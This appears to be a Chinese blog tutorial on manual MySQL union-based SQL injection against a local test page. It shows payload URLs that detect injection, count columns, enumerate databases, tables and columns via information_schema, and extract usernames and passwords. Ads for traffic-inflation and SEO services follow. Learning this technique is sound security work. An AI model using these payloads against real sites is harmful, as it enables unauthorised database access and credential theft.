MYSQL常见的手工注入流程

Mysql数据库结构:

数据库A = 网站A

表名

列名

数据

数据库B = 网站B

......

数据库C = 网站C

......

 

1、是否存在注入?and 1=1 或 and 1=2

127.0.0.1/test/sqlin.php?x=1 and 1=1 正常
127.0.0.1/test/sqlin.php?x=1 and 1=2 错误

 

2、获取字段数:order by x 取临界值

字段数是指表的列名个数

127.0.0.1/test/sqlin.php?x=1  order by 5 错误
127.0.0.1/test/sqlin.php?x=1  order by 4 正常

 

3、爆数据

127.0.0.1/test/sqlin.php?x=1  union select 1,2,3,4

 

4、获取数据库名:database()

获取数据库版本:version()

127.0.0.1/test/sqlin.php?x=1  union select 1,database(),version(),4

得到数据库名:fujieace

 

5、查表名

Information_schema:mysql5.0及以上版本自带数据库,它记录有当前mysql下所有的数据库名,表名,列名信息。

 

Information_schema.tables:记录表名信息的表

Information_schema.columns:记录列名信息的表

Table_name 表名

Column_name 列名

Table_schema 数据库名

 

127.0.0.1/test/sqlin.php?x=1  union select 1,2,table_name,4 from Information_schema.tables where table_schema='fujieace'

得到表名:user、news等

 

6、查列名

127.0.0.1/test/sqlin.php?x=1  union select 1,2,column_name,4 from Information_schema.columns where table_name='user'

这里得到了很多列名,例如:username、password等一些不存在的列名。

 

问:查询列名出现其它的列名这是为什么?

查询表名时,表名可能在其它数据库中也存在,所以查询的时候会查询所有表名的信息,由此,将其它数据库的列名信息也查询到了。

 

7、获取指定数据

127.0.0.1/test/sqlin.php?x=1  union select 1,username,password,4 from user

得到user表的用户名和密码。

头像
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
  • ¥ 1.0元
  • 市场价:9.9元
wordpress站群服务 泛解析二级域名 二级目录站群
wordpress站群服务 泛解析二级域名 二级目录站群
  • ¥ 1999.9元
  • 市场价:4800元
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 9.9元
  • 市场价:49.9元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: